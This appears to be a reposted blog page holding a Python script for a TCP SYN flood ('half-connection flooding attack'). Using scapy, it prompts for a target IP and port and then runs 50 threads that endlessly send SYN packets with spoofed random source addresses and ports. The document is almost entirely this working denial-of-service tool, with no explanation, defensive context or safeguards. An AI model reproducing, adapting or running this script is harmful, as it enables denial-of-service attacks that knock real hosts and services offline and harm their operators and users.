半接続フラッディング攻撃 Python スクリプト

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
@Project :python-learn 
@File    :半连接泛洪攻击.py
@Author  :星之尘
@Date    :2023/6/12 16:51 
@脚本说明:
"""
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import random
import time
import threading
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import sr1


dst = input('请输入要攻击的ip')
dport = int(input('请输入要攻击的端口'))
def send_packet():
        while True:
            # 生成随机的源端口和序列号
            sport = random.randint(1000, 6000)
            seq = random.randint(1000, 600000)

            # 构造IP和TCP数据包
            src_ip = '192.168.1.' + str(random.randint(1, 254))  # 修改源IP地址
            data = IP(src=src_ip, dst=dst) / TCP(sport=sport, dport=dport, flags='S', seq=seq)

            # 发送数据包并接收回复
            result = sr1(data, timeout=1, verbose=False)

# 创建多个线程
num_threads = 50  # 设置线程数量
threads = []
for _ in range(num_threads):
        t = threading.Thread(target=send_packet)
        threads.append(t)

    # 启动线程
for t in threads:
        t.start()

    # 等待线程完成
for t in threads:
        t.join()

おすすめ

転載: blog.csdn.net/m0_73896875/article/details/131579906